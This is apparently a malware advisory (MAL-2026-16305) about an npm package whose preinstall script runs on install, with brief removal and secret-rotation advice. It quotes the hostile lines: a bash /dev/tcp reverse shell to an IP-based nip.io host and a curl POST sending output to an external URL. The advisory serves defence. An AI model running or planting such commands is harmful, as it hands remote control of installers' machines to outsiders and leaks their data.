Official description
package.json declares a preinstall lifecycle script that runs automatically on
npm install. The script invokes bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a hardcoded IP-based host (147.93.157.202 via nip.io) on port 8080, and pipes activity through curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, an install-time cleartext-HTTP beacon to an external endpoint. The reverse shell grants the remote endpoint interactive command execution on the installer's host at install time; the paired POST exfiltrates output to a hardcoded external URL. No legitimate functionality is shipped alongside these actions.What should I do about MAL-2026-16305?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
